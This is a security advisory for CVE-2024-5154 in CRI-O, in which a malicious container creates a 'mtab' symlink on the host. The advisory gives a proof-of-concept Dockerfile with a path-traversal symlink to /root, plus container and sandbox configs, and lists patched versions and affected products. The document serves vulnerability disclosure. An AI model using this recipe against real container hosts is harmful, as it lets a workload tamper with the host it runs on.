high8.1

CVE-2024-5154

malicious container creates symlink "mtab" on the host External

Impact

### Impact A malicious container can affect the host by taking advantage of code cri-o added to show the container mounts on the host. A workload built from this Dockerfile: ``` FROM docker.io/library/busybox as source RUN mkdir /extra && cd /extra && ln -s ../../../../../../../../root etc FROM scratch COPY --from=source /bin /bin COPY --from=source /lib /lib COPY --from=source /extra . ``` and this container config: ``` { "metadata": { "name": "busybox" }, "image":{ "image": "localhost/test" }, "command": [ "/bin/true" ], "linux": { } } ``` and this sandbox config ``` { "metadata": { "name": "test-sandbox", "namespace": "default", "attempt": 1, "uid": "edishd83djaideaduwk28bcsb" }, "linux": { "security_context": { "namespace_options": { "network": 2 } } } } ``` will create a file on host `/host/mtab` ### Patches 1.30.1, 1.29.5, 1.28.7 ### Workarounds Unfortunately not ### References _Are there any links users can visit to find out more?_

Affected packages

Ecosystem	Package	Affected	Fixed in
go	`github.com/cri-o/cri-o`	>= 1.28.6, < 1.28.7	1.28.7

Affected products

Vendor	Product	Affected versions
Kubernetes	Cri-O	Versions 1.28.6, 1.29.4, 1.30.0
Redhat	Openshift Container Platform	Versions 3.11, 4.0, 4.12, 4.13, 4.14, 4.15

Weakness classification

CWE-22 CWE-668